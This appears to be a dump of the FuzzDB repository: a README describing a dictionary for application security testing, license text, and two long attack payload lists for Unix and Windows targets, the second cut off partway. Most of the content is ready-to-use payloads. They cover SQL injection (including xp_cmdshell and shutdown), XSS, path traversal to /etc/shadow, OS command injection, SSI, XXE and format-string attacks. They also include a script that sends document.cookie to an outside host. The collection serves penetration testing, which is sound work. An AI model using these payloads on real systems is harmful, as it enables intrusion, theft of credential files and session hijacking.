[ { "path": ".gitignore", "content": "*.DS_Store\n" }, { "path": "README.md", "content": "FuzzDB was created to increase the likelihood of finding application security vulnerabilities through dynamic application security testing. It's the first and most comprehensive open dictionary of fault injection patterns, predictable resource locations, and regex for matching server responses. \r\n\r\n**Attack Patterns -**\r\nFuzzDB contains comprehensive lists of [attack payload](https://github.com/fuzzdb-project/fuzzdb/tree/master/attack) primitives for fault injection testing. \r\nThese patterns, categorized by attack and where appropriate platform type, are known to cause issues like OS command injection, directory listings, directory traversals, source exposure, file upload bypass, authentication bypass, XSS, http header crlf injections, SQL injection, NoSQL injection, and more. For example, FuzzDB catalogs 56 patterns that can potentially be interpreted as a null byte and contains lists of [commonly used methods](https://github.com/fuzzdb-project/fuzzdb/blob/master/attack/business-logic/CommonMethodNames.txt) such as \"get, put, test,\" and name-value pairs than [trigger debug modes](https://github.com/fuzzdb-project/fuzzdb/blob/master/attack/business-logic/CommonDebugParamNames.txt).
\r\n\r\n**Discovery -**\r\nThe popularity of standard software packaging distribution formats and installers resulted in resources like [logfiles and administrative directories](http://www.owasp.org/index.php/Forced_browsing) frequently being located in a small number of [predictable locations](https://github.com/fuzzdb-project/fuzzdb/tree/master/discovery/predictable-filepaths).\r\nFuzzDB contains a comprehensive dictionary, sorted by platform type, language, and application, making brute force testing less brutish.
\r\nhttps://github.com/fuzzdb-project/fuzzdb/tree/master/discovery\r\n\r\n**Response Analysis -**\r\nMany interesting server responses are [predictable strings](https://github.com/fuzzdb-project/fuzzdb/tree/master/regex). \r\nFuzzDB contains a set of regex pattern dictionaries to match against server responses. In addition to common server error messages, FuzzDB contains regex for credit cards, social security numbers, and more.
\r\n\r\n**Other useful stuff -**\r\nWebshells in different languages, common password and username lists, and some handy wordlists.\r\n\r\n**Documentation -**\r\nMany directories contain a README.md file with usage notes.\r\nA collection of [documentation](https://github.com/fuzzdb-project/fuzzdb/tree/master/docs) from around the web that is helpful for using FuzzDB to construct test cases is also included.
\r\n\r\n### Usage tips for pentesting with FuzzDB ###\r\nhttps://github.com/fuzzdb-project/fuzzdb/wiki/usagehints\r\n\r\n### How people use FuzzDB ###\r\nFuzzDB is like an application security scanner, without the scanner. \r\nSome ways to use FuzzDB:\r\n * Website and application service black-box penetration testing with \r\n * [OWASP Zap](https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project) proxy's FuzzDB Zap Extension \r\n * Burp Proxy's [intruder](http://portswigger.net/intruder/) tool and scanner\r\n * [PappyProxy](http://www.pappyproxy.com/), a console-based intercepting proxy\r\n * To identify interesting service responses using grep patterns for PII, credit card numbers, error messages, and more\r\n * Inside custom tools for testing software and application protocols\r\n * Crafting security test cases for GUI or command line software with standard test automation tools\r\n * Incorporating into other Open Source software or commercial products\r\n * In training materials and documentation\r\n * To learn about software exploitation techniques\r\n * To improve your security testing product or service\r\n \r\n### How were the patterns collected? ###\r\nMany, many hours of research and pentesting. And\r\n * analysis of default app installs\r\n * analysis of system and application documentation\r\n * analysis of error messages\r\n * researching old web exploits for repeatable attack strings\r\n * scraping scanner payloads from http logs\r\n * various books, articles, blog posts, mailing list threads\r\n * other open source fuzzers and pentest tools\r\nand the input of contributors: https://github.com/fuzzdb-project/fuzzdb/graphs/contributors\r\n\r\n### Places you can find FuzzDB ###\r\nOther security tools and projects that incorporate FuzzzDB in whole or part\r\n * OWASP Zap Proxy fuzzdb plugin https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project\r\n * SecLists https://github.com/danielmiessler/SecLists\r\n * TrustedSec Pentesters Framework https://github.com/trustedsec/ptf\r\n * Rapid7 Metasploit https://github.com/rapid7/metasploit-framework\r\n * Portswigger Burp Suite http://portswigger.net\r\n * Protofuzz https://github.com/trailofbits/protofuzz\r\n * BlackArch Linux https://www.blackarch.org/\r\n * ArchStrike Linux https://archstrike.org/\r\n\r\n### Download ###\r\n**Preferred method is to check out sources via git, new payloads are added frequently**\r\n\r\n```\r\ngit clone https://github.com/fuzzdb-project/fuzzdb.git --depth 1\r\n\r\n```\r\nWhile in the FuzzDB dir, you can update your local repo with the command\r\n```\r\ngit pull\r\n```\r\nThis Stackoverflow gives ideas on how to keep a local repository tidy: https://stackoverflow.com/questions/38171899/how-to-reduce-the-depth-of-an-existing-git-clone/46004595#46004595\r\n\r\nYou can also browse the [FuzzDB github sources](https://github.com/fuzzdb-project/fuzzdb/) and there is always a fresh [zip file](https://github.com/fuzzdb-project/fuzzdb/archive/master.zip)\r\n\r\nNote: Some antivirus/antimalware software will alert on FuzzDB. To resolve, the filepath should be whitelisted. There is nothing in FuzzDB that can harm your computer as-is, however due to the risk of local file include attacks it's not recommended to store this repository on a server or other important system. Use at your own risk. \r\n\r\n### Who ###\r\nFuzzDB was created by Adam Muntner (amuntner @ gmail.com)\r\nFuzzDB (c) Copyright Adam Muntner, 2010-2019\r\nPortions copyrighted by others, as noted in commit comments and README.md files. \r\n\r\nThe FuzzDB license is New BSD and Creative Commons by Attribution. The ultimate goal of this project is to make the patterns contained within obsolete. If you use this project in your work, research, or commercial product, you are required to cite it. That's it. I always enjoy hearing about how people are using it to find an interesting bug or in a tool, send me an email and let me know. \r\n\r\nSubmissions are always welcome!\r\n\r\nOfficial FuzzDB project page: [https://github.com/fuzzdb-project/fuzzdb/](https://github.com/fuzzdb-project/fuzzdb/)\r\n" }, { "path": "_copyright.txt", "content": "Copyright (c) 2010-2019, Adam Muntner\nAll rights reserved.\n\nRedistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:\n\nRedistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.\nRedistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.\nNeither the name of fuzzdb nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission.\n\nTHIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n\nLicensed under Creative Commons - By Attribution\n\nsee\n\nhttp://creativecommons.org/licenses/by/3.0/legalcode\n\n----\n\ncontains dictionaries from Skipfish\n Copyright 2010 Michal Zalewski\n\n Licensed under the Apache License, Version 2.0 (the \"License\");\n you may not use this file except in compliance with the License.\n You may obtain a copy of the License at\n\n http://www.apache.org/licenses/LICENSE-2.0\n\n Unless required by applicable law or agreed to in writing, software\n distributed under the License is distributed on an \"AS IS\" BASIS,\n WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n See the License for the specific language governing permissions and\n limitations under the License.\n\n----\n\nThe MIT License (MIT)\n\nCopyright (c) 2015 Max Woolf\n\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof this software and associated documentation files (the \"Software\"), to deal\nin the Software without restriction, including without limitation the rights\nto use, copy, modify, merge, publish, distribute, sublicense, and/or sell\ncopies of the Software, and to permit persons to whom the Software is\nfurnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in all\ncopies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\nSOFTWARE.\n\n" }, { "path": "attack/README.md", "content": "

FuzzDB Attack Patterns

\n\n**WAF Evasion**
\n* Regexp security Cheatsheet \n* Source: https://github.com/attackercan/regexp-security-cheatsheet/blob/master/README.md \n" }, { "path": "attack/all-attacks/all-attacks-unix.txt", "content": "\n!\n!'\n!@#$%%^#$%#$@#$%$$@#$%^^**(()\n!@#0%^#0##018387@#0^^**(()\n\"\n\" or \"a\"=\"a\n\" or \"x\"=\"x\n\" or 0=0 #\n\" or 0=0 --\n\" or 1=1 or \"\"=\"\n\" or 1=1--\n\"' or 1 --'\"\n\") or (\"a\"=\"a\n\"]>&xxe;\"\n\"]>&xxe;\"\n\"\"\n\"SCRIPT]]>alert('XSS');/SCRIPT]]>\"\n\"XSS\"\n\"cript:alert('XSS')\"\">\"\n\"]]>\"\n\">\n\">\n\">xxx

yyy\n\"\\t\"\n#\n#'\n#'\n#xA\n#xA#xD\n#xD\n#xD#xA\n$NULL\n$null\n%\n%#0123456x%08x%x%s%p%d%n%o%u%c%h%l%q%j%z%Z%t%i%e%g%f%a%C%S%08x%%\n%00\n%00../../../../../../etc/passwd\n%00../../../../../../etc/shadow\n%00/\n%00/etc/passwd%00\n%01%02%03%04%0a%0d%0aADSF\n%08x\n%0A/usr/bin/id\n%0A/usr/bin/id%0A\n%0Aid\n%0Aid%0A\n%0a ping -i 30 127.0.0.1 %0a\n%oa ping -n 30 127.0.0.1 %0a\n%0a id %0a\n%0aDATA%0afoo%0a%2e%0aMAIL+FROM:+%0aRCPT+TO:+%0aDATA%0aFrom:+%0aTo:+%0aSubject:+tst%0afoo%0a%2e%0a\n%0d\n%0d%0aDATA%0d%0afoo%0d%0a%2e%0d%0aMAIL+FROM:+%0d%0aRCPT+TO:+%0d%0aDATA%0d%0aFrom:+%0d%0aTo:+%0d%0aSubject:+test%0d%0afoo%0d%0a%2e%0d%0a\n%0d%0aX-Injection-Header:%20AttackValue\n%20\n%20$(sleep%2050)\n%20'sleep%2050'\n%20d\n%20n\n%20s\n%20x\n%20|\n%21\n%22%3E%3Cscript%3Edocument%2Elocation%3D%27http%3A%2F%2Fyour%2Esite%2Ecom%2Fcgi%2Dbin%2Fcookie%2Ecgi%3F%27%20%2Bdocument%2Ecookie%3C%2Fscript%3E\n%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%\t\t25%5c..%25%5c..%255cboot.ini\n%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%\t25%5c..%25%5c..%00\n%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%00\n%2500\n%250a\n%26\n%27%20or%201=1\n%28\n%29\n%2A\n%2A%28%7C%28mail%3D%2A%29%29\n%2A%28%7C%28objectclass%3D%2A%29%29\n%2A%7C\n%2C\n%2e%2e%2f\n%3C\n%3C%3F\n%3Cscript%3Ealert(%22X%20SS%22);%3C/script%3E\n%3cscript%3ealert(\"XSS\");%3c/script%3e\n%3cscript%3ealert(document.cookie);%3c%2fscript%3e\n%5C\n%5C/\n%60\n%7C\n%7f\n%99999999999s\n%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A\n%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E\n%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F\n%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G\n%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X\n%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a\n%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d \n%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e\n%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f\n%ff\n%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g\n%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i\n%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o\n%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p\n%s%p%x%d\n%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s\n%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u\n%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x\n&\n& id\n& ping -i 30 127.0.0.1 &\n& ping -n 30 127.0.0.1 &\n<\n<\n<\n<\n<\n<\n<\n<\n<\n<\n \n \n \n \n<\n<\n<\n<\n<\n<\n<\n<\n<\n<\n<\n<\n<\n<\n<\n<\n<\n<\n<\n<\n<\n<\n<\n<\n<\n<\n<\n<\n<\n<\n<\n<\n<\n<\n<\n<\n<\n<\n<\n<\n<\n<\n<\n<\n<\n<\n<\n<\n<\n<\n<\n<\n'\n'%20OR\n&id\n<\n<\n<!--#exec%20cmd="/bin/cat%20/etc/passwd"-->\n<!--#exec%20cmd="/bin/cat%20/etc/shadow"-->\n<!--#exec%20cmd="/usr/bin/id;-->\n<>"'%;)(&+\n<script>alert(document.cookie);<script>alert\n<script>alert(document.cookie);\n";id"\n'\n' (select top 1\n' --\n' ;\n' UNION ALL SELECT\n' UNION SELECT\n' or ''='\n' or '1'='1\n' or '1'='1'--\n' or 'x'='x\n' or (EXISTS)\n' or 0=0 #\n' or 0=0 --\n' or 1 in (@@version)--\n' or 1=1 or ''='\n' or 1=1--\n' or a=a--\n' or uid like '%\n' or uname like '%\n' or user like '%\n' or userid like '%\n' or username like '%\n'%20or%201=1\n'%3CIFRAME%20SRC=javascript:alert(%2527XSS%2527)%3E%3C/IFRAME%3E\n'';!--\"=&{()}\n') or ('a'='a\n'--\n'; exec master..xp_cmdshell\n'; exec xp_regread\n'; waitfor delay '0:30:0'--\n';alert(String.fromCharCode(88,83,83))//\\';alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//\\\";alert(String.fromCharCode(88,83,83))//>!--=&{}\n';shutdown--\n'>\n'>\n'hi' or 'x'='x';\n'or select *\n'sqlattempt1\n'||UTL_HTTP.REQUEST\n'||Utl_Http.request('http://') from dual--\n(\n(')\n(sqlattempt2)\n)\n))))))))))\n*\n*'\n*'\n*(|(mail=*))\n*(|(objectclass=*))\n*/*\n*|\n+\n+%00\n,@variable\n-\n--\n--';\n--sp_password\n-1\n-1.0\n-2\n-20\n-268435455\n..%%35%63\n..%%35c\n..%25%35%63\n..%255c\n..%5c\n..%bg%qf\n..%c0%af\n..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../boot.ini\n..%u2215\n..%u2216\n../\n../../../../../../../../../../../../etc/hosts\n../../../../../../../../../../../../etc/hosts%00\n../../../../../../../../../../../../etc/passwd\n../../../../../../../../../../../../etc/passwd%00\n../../../../../../../../../../../../etc/shadow\n../../../../../../../../../../../../etc/shadow%00\n..\\\n..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\etc\\passwd\n..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\etc\\passwd%00\n..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\etc\\shadow\n..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\etc\\shadow%00\n.\\\\./.\\\\./.\\\\./.\\\\./.\\\\./.\\\\./etc/passwd\n.\\\\./.\\\\./.\\\\./.\\\\./.\\\\./.\\\\./etc/shadow\n/\n/%00/\n/%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%00\n/%2A\n/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd\n/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/shadow\n/'\n/'\n/,%ENV,/\n/..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../etc/passwd\n/..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../etc/shadow\n/.../.../.../.../.../\n/../../../../../../../../%2A\n/../../../../../../../../../../../etc/passwd%00.html\n/../../../../../../../../../../../etc/passwd%00.jpg\n/../../../../../../../../../../etc/passwd\n/../../../../../../../../../../etc/passwd^^\n/../../../../../../../../../../etc/shadow\n/../../../../../../../../../../etc/shadow^^\n/../../../../../../../../bin/id|\n/..\\../..\\../..\\../..\\../..\\../..\\../boot.ini\n/..\\../..\\../..\\../..\\../..\\../..\\../etc/passwd\n/..\\../..\\../..\\../..\\../..\\../..\\../etc/shadow\n/./././././././././././etc/passwd\n/./././././././././././etc/shadow\n//\n//*\n/etc/passwd\n/etc/shadow\n/index.html|id|\n0\n0 or 1=1\n00\n0xfffffff\n1\n1 or 1 in (@@version)--\n1 or 1=1--\n1.0\n1; waitfor delay '0:30:0'--\n1;SELECT%20*\n1||Utl_Http.request('http://') from dual--\n2\n2147483647\n268435455\n65536\n:response.write 111111\n;\n; ping 127.0.0.1 ;\n;/usr/bin/id\\n\n;echo 111111\n;id\n;id;\n;id\\n\n;id|\n;ls -la\n;system('/usr/bin/id')\n;system('cat%20/etc/passwd')\n;system('id')\n;|/usr/bin/id|\n<\n< script > < / script>\nSCRIPT]]>alert('XSS');/SCRIPT]]>\nvar n=0;while(true){n++;}]]>\n\n<<\n<<<\n<\n<>\"'%;)(&+\n]>&xxe;\n]>&xxe;\n]>&xxe;\n]>&xxe;\n\nSCRIPT]]>alert('XSS');/SCRIPT]]>\nXSS\n\">\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n','')); phpinfo(); exit;/*\n\n\n<IMG SRC=\"javascript:alert('XSS')\">\n]]>\n\n\n%0aBcc:\n%0aCc:\n%0d%0aBcc:\n%0d%0aCc:\n=\n='\n=--\n=;\n>\n?x=\n?x=\"\n?x=>\n?x=|\n@'\n@'\n@*\n@variable\nA\nABCD|%8.8x|%8.8x|%8.8x|%8.8x|%8.8x|%8.8x|%8.8x|%8.8x|%8.8x|%8.8x|\nFALSE\nNULL\nPRINT\nPRINT @@variable\nTRUE\nXXXXX.%p\nXXXXX`perl -e 'print \".%p\" x 80'`\n[']\n[']\n\\\n\\\";alert('XSS');//\n\\\"blah\n\\'\n\\'\n\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\etc\\passwd\n\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\etc\\passwd%00\n\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\etc\\shadow\n\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\etc\\shadow%00\n\\0\n\\00\n\\00\\00\n\\00\\00\\00\n\\0\\0\n\\0\\0\\0\n\\\\\n\\\\'/bin/cat%20/etc/passwd\\\\'\n\\\\'/bin/cat%20/etc/shadow\\\\'\n\\\\/\n\\\\\\\\*\n\\\\\\\\?\\\\\n\\n/bin/ls -al\\n\n\\n/usr/bin/id;\n\\n/usr/bin/id\\n\n\\n/usr/bin/id|\n\\nid;\n\\nid\\n\n\\nid|\n\\nnetstat -a%\\n\n\\t\n\\u003C\n\\u003c\n\\x23\n\\x27\n\\x27UNION SELECT\n\\x27\\x4F\\x52 SELECT *\n\\x27\\x6F\\x72 SELECT *\n\\x3C\n\\x3D \\x27\n\\x3D \\x3B'\n\\x3c\n^'\n^'\n`\n`/usr/bin/id`\n`dir`\n`id`\n`perl -e 'print \".%p\" x 80'`%n\n`ping 127.0.0.1`\na);/usr/bin/id\na);/usr/bin/id;\na);/usr/bin/id|\na);id\na);id;\na);id|\na)|/usr/bin/id\na)|/usr/bin/id;\na)|id\na)|id;\na;/usr/bin/id\na;/usr/bin/id;\na;/usr/bin/id|\na;id\na;id;\na;id|\nhttp:///\nid%00\nid%00|\ninsert\nlike\nlimit\nnull\nor\nor 0=0 #\nor 0=0 --\nor 1=1--\nor%201=1\nor%201=1 --\nresponse.write 111111\nsomething%00html\nupdate\nx' or 1=1 or 'x'='y\nx' or name()='username' or 'x'='y\nxsstest\nxsstest%00\"<>'\n{'}\n|/usr/bin/id\n|/usr/bin/id|\n|id\n|id;\n|id|\n|ls\n|ls -la\n|nid\\n\n|usr/bin/id\\n\n||\n|| ping -i 30 127.0.0.1 ; x || ping -n 30 127.0.0.1 &\n||/usr/bin/id;\n||/usr/bin/id|\n}\n" }, { "path": "attack/all-attacks/all-attacks-win.txt", "content": "# a wide sample of malicious input for windows targets\nA\nTRUE\nFALSE\n0\n00\n1\n-1\n1.0\n-1.0\n2\n-2\n-20\n65536\n268435455\n-268435455\n2147483647\n0xfffffff\nNULL\nnull\n\\0\n\\00\n< script > < / script>\n%0a\n%00\n+%00\n\\0\n\\0\\0\n\\0\\0\\0\n\\00\n\\00\\00\n\\00\\00\\00\n$null\n$NULL\n`dir`\n\\nnetstat -a%\\n\n\\\"blah\n|dir|\n";id"\ndir%00\ndir%00|\n|dir\n|dir|\n|/bin/ls -al\n?x=\n?x=\"\n?x=|\n?x=>\n/boot.ini\nABCD|%8.8x|%8.8x|%8.8x|%8.8x|%8.8x|%8.8x|%8.8x|%8.8x|%8.8x|%8.8x|\n../../boot.ini\n/../../../../../../../../%2A\n%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%\t25%5c..%25%5c..%00\n%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%\t\t25%5c..%25%5c..%255cboot.ini\n/%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..winnt/desktop.ini\n../../../../../../../../conf/server.xml\nC:/inetpub/wwwroot/global.asa\nC:\\inetpub\\wwwroot\\global.asa\nC:/boot.ini\nC:\\boot.ini\n../../../../../../../../../../../../localstart.asp%00\n../../../../../../../../../../../../localstart.asp\n../../../../../../../../../../../../boot.ini%00\n../../../../../../../../../../../../boot.ini\n/./././././././././././boot.ini\n/../../../../../../../../../../../boot.ini%00\n/../../../../../../../../../../../boot.ini\n/..\\../..\\../..\\../..\\../..\\../..\\../boot.ini\n/.\\\\./.\\\\./.\\\\./.\\\\./.\\\\./.\\\\./boot.ini\n\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\boot.ini\n..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\boot.ini%00\n..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\boot.ini\n/../../../../../../../../../../../boot.ini%00.html\n/../../../../../../../../../../../boot.ini%00.jpg\n/.../.../.../.../.../\n..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../boot.ini\n/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/boot.ini\n%0d%0aX-Injection-Header:%20AttackValue\n!@#0%^#0##018387@#0^^**(()\n%01%02%03%04%0a%0d%0aADSF\n/,%ENV,/\n<!--#exec%20cmd="dir"-->\n<!--#exec%20cmd="dir"-->\n%\n#\n*\n}\n;\n/\n\\\n\\\\\n\\\\/\n\\\\\\\\*\n\\\\\\\\?\\\\\n<\n<\n<\n<\n<\n<<\n<<<\n|\n||\n`\n-\n--\n*|\n^'\n\\'\n/'\n@'\n(')\n{'}\n[']\n*'\n#'\n!'\n!@#$%%^#$%#$@#$%$$@#$%^^**(()\n%01%02%03%04%0a%0d%0aADSF\n\\t\n\"\\t\"\n \n \n \n \n#xD\n#xA\n#xD#xA\n#xA#xD\n/%00/\n%00/\n%00\nxxx

yyy\n\">\n<\n\n'>\n'>\n\\\";alert('XSS');//\n%3cscript%3ealert(\"XSS\");%3c/script%3e\n%3cscript%3ealert(document.cookie);%3c%2fscript%3e\n%3Cscript%3Ealert(%22X%20SS%22);%3C/script%3E\n<script>alert(document.cookie);\n<script>alert(document.cookie);<script>alert\n\n\n\n\n\n\n\n\">\n\n\n\n\n\n\n\n\n\n\n\n\n\n'%3CIFRAME%20SRC=javascript:alert(%2527XSS%2527)%3E%3C/IFRAME%3E\n\">\n%22%3E%3Cscript%3Edocument%2Elocation%3D%27http%3A%2F%2Fyour%2Esite%2Ecom%2Fcgi%2Dbin%2Fcookie%2Ecgi%3F%27%20%2Bdocument%2Ecookie%3C%2Fscript%3E\n';alert(String.fromCharCode(88,83,83))//\\';alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//\\\";alert(String.fromCharCode(88,83,83))//>!--=&{}\n'';!--\"=&{()}\n\n'\n\"\n#\n-\n--\n' --\n--';\n' ;\n= '\n= ;\n= --\n\\x23\n\\x27\n\\x3D \\x3B'\n\\x3D \\x27\n\\x27\\x4F\\x52 SELECT *\n\\x27\\x6F\\x72 SELECT *\n'or select *\nadmin'--\n';shutdown--\n<>\"'%;)(&+\n' or ''='\n' or 'x'='x\n\" or \"x\"=\"x\n') or ('x'='x\n0 or 1=1\n' or 0=0 --\n\" or 0=0 --\nor 0=0 --\n' or 0=0 #\n\" or 0=0 #\nor 0=0 #\n' or 1=1--\n\" or 1=1--\n' or '1'='1'--\n\"' or 1 --'\"\nor 1=1--\nor%201=1\nor%201=1 --\n' or 1=1 or ''='\n\" or 1=1 or \"\"=\"\n' or a=a--\n\" or \"a\"=\"a\n') or ('a'='a\n\") or (\"a\"=\"a\nhi\" or \"a\"=\"a\nhi\" or 1=1 --\nhi' or 1=1 --\nhi' or 'a'='a\nhi') or ('a'='a\nhi\") or (\"a\"=\"a\n'hi' or 'x'='x';\n@variable\n,@variable\nPRINT\nPRINT @@variable\nselect\ninsert\nas\nor\nprocedure\nlimit\norder by\nasc\ndesc\ndelete\nupdate\ndistinct\nhaving\ntruncate\nreplace\nlike\nhandler\nbfilename\n' or username like '%\n' or uname like '%\n' or userid like '%\n' or uid like '%\n' or user like '%\nexec xp\nexec sp\n'; exec master..xp_cmdshell\n'; exec xp_regread\nt'exec master..xp_cmdshell 'nslookup www.google.com'--\n--sp_password\n\\x27UNION SELECT\n' UNION SELECT\n' UNION ALL SELECT\n' or (EXISTS)\n' (select top 